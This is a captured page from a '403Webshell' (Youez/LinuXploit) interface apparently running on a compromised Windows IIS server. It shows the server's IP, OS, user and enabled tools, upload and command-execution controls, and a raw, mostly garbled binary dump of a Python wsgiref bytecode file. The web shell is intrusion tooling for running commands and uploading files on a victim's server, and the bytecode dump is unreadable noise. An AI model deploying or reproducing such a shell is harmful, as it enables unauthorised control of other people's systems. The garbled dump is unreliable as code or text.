403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/wsgiref/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/wsgiref/__pycache__/simple_server.cpython-315.opt-1.pyc
R
>lqj8c	�X�Qs]QHGsGs]PHs]PHs]QHGs]QH$G
s
,QNsQs\
2Q*\OO2]**s\Q*\*sQQ	\2sQ
Q\2sQQ\2sQs\\1Q
ksQs\Q6Xcx\PQ\29^tt^2s\O2O52s\Q\]*Q\]*Q2]PHts\O<Q2\O?2PPP2P!P!)%fhP!9h)a!BaseHTTPServer that implements the Python WSGI protocol (PEP 3333)

This is both an example of how WSGI can be implemented, and a basis for running
simple web applications on a local machine, such as might be done when testing
or debugging an application.  It has not been reviewed for security issues,
however, and we strongly recommend that you use a "real" web server for
production use.

For example usage, see the 'if __name__=="__main__"' block at the end of the
module.  See also the BaseHTTPServer module docs for other API information.
)�BaseHTTPRequestHandler�
HTTPServer)�
SimpleHandler)�python_implementation�
WSGIServer�WSGIRequestHandler�/� c�,`�\sQs]sn\sQsQsUsP!)�
ServerHandlerc��UOOUOOQ]2]*UO2[
OU2P![
OS2h9h)r)�request_handler�log_request�status�split�
bytes_sentr�close��selfs&�*C:\Python315\\Lib\wsgiref\simple_server.pyr�ServerHandler.closesY��	&�� � �,�,����!�!�#�a�(��+�T�_�_�
�
����%��M����%�s�AA"�"A:�)	�__name__�
__module__�__qualname__�__firstlineno__�software_version�server_softwarer�__static_attributes__�__classdictcell__��
__classdict__s@rr
r
s����&�O�&�&�r
c�B`�\sQs])snQsPsQsQsQsQs	Qs
UsP!)rz7BaseHTTPServer that implements the Python WSGI protocolc�T�[OU2UO2P!)z.Override server_bind to store the server name.)r�server_bind�
setup_environrs&rr$�WSGIServer.server_bind/s�����t�$����r!c��-9pmUOUQ$QUQ$[UO2UQ$PUQ$PUQ$PUQ$P!)�SERVER_NAMEzCGI/1.1�GATEWAY_INTERFACE�SERVER_PORT�REMOTE_HOST�CONTENT_LENGTH�SCRIPT_NAME)�base_environ�server_name�str�server_port)r�envs& rr%�WSGIServer.setup_environ4s\��"$�$���!�-�-��M��#,��� � ��!1�!1�2��M����M�� ������M�r!c��UO!�N��applicationrs&r�get_app�WSGIServer.get_app>s�����r!c��VmP!r5r6)rr7s&&r�set_app�WSGIServer.set_appAs��&�r!)r7r.)rrrr�__doc__r7r$r%r8r;rrrs@rrr)s&����A��K��
 � �'�'r!c�8`�\sQs]FsnQsQsQsQsQsUs	P!)rrc��UOOO2oUOUQ$UOUQ$UO
UQ$QUO7c UOOQ]2vq#L
UOPq2[OOUQ2UQ$V1Q$UO]*UQ$UOOQ2eUOO2UQ	$LUOQ*UQ	$UOOQ
2oU%cVAQ$UOO2FDzvqVUO!QQ
2O#2pVO%2oVQ7cJ<QU*U7c&UQU*99*QU**
tt$JoVaQU*$J|	U!)�SERVER_PROTOCOL�SERVER_SOFTWARE�REQUEST_METHOD�?z
iso-8859-1�	PATH_INFO�QUERY_STRING�REMOTE_ADDRzcontent-type�CONTENT_TYPEzcontent-lengthr,�-�_�HTTP_�,)�serverr.�copy�request_version�server_version�command�pathr�urllib�parse�unquote�client_address�headers�get�get_content_type�items�replace�upper�strip)rr2rQ�query�length�k�vs&      r�get_environ�WSGIRequestHandler.get_environJs����k�k�&�&�+�+�-��!%�!5�!5����!%�!4�!4���� $�������$�)�)��������Q�/�J�D�����2��!�<�<�/�/��l�C��K��#�N��!�0�0��3��M���<�<���N�+�3�"&�,�,�"?�"?�"A�C���"&�,�,�~�">�C������!�!�"2�3���$*� �!��L�L�&�&�(�D�A��i�i��C� �&�&�(�A�G�G�I�!��x���q�y�C���G�A�I��#�a�%�'��!"�G�A�I��)��
r!c�$�[O!r5)�sys�stderrrs&r�
get_stderr�WSGIRequestHandler.get_stderrks���z�z�r!c���UOOQ2Um[UO2Q6�c)PUmPUmPUmUOQ2P!UO2%fP![UOUOUO2UO2P
Q5oVm
UOUOO!22P!)zHandle a single HTTP requestii�)�multithread)�rfile�readline�raw_requestline�len�requestlinerNrP�
send_error�
parse_requestr
�wfilerfrar�runrLr8)r�handlers& r�handle�WSGIRequestHandler.handlens��� $�z�z�2�2�5�9����t�#�#�$�u�,�!�D��#%�D� ��D�L��O�O�C� ���!�!�#�#����J�J��
�
�D�O�O�$5�t�7G�7G�7I��
��#'�����D�K�K�'�'�)�*r!)rPrmrNro)
rrrrrOrarfrurrrs@rrrFs����!�N��B�+�+r!c	��]QHGoU2o[QUQ5[UQ5[UO	22oSFDvqV[UQ[U2UQ5J	UQQ,2UO
2OQ2,!)�)�StringIOzHello world!)�file�=z200 OKzutf-8)zContent-Typeztext/plain; charset=utf-8)�iory�print�sortedrY�repr�getvalue�encode)�environ�start_responsery�stdout�hr_r`s&&     r�demo_appr��su���
�Z�F�	�.�v�&�	�v���w�}�}���A����
�a��D��G�&�)���8�J�K�L��O�O��$�$�W�-�.�.r!c�>�UV1U2oUOU2U!)zACreate a new WSGI server listening on `host` and `port` for `app`)r;)�host�port�app�server_class�
handler_classrLs&&&&& r�make_serverr��s#���4�,�
�
6�F�
�N�N�3���Mr!c�d�UQ6Xc]QHGoUQQQ5Q![Q[8QU802g)�__version__)�_deprecated)�removez0.2zmodule z has no attribute )��)�warningsr��AttributeErrorr)�namer�s& r�__getattr__r��s3���}��(��M�'�2��
�7�8�,�.@���I�
J�Jr!�__main__i@zServing HTTP onr�z...zhttp://localhost:8000/xyz?abc)rrr�r�) r=�http.serverrrrd�urllib.parserR�wsgiref.handlersr�platformr�__all__rO�versionr�sys_versionrr
rrr�r�r�r�httpd�socket�getsockname�sar}�
webbrowser�open�handle_requestrr!r�<module>r�s��
�;�
��*�*�
I����#�%��+�c�k�k�.?�.?�.A�!�.D�D��!�C�'�+�5��
&�M�
&�'��'�:;+�/�;+�~	/�#-�<N��K��z��	�R��x�	(�	(�E�
�\�\�
%�
%�
'��
���A����1��u�=�����7�8�
����
)�	(��	(�	(�	(�s�1AD�D)	�!D)	

Youez - 2016 - github.com/yon3zu
LinuXploit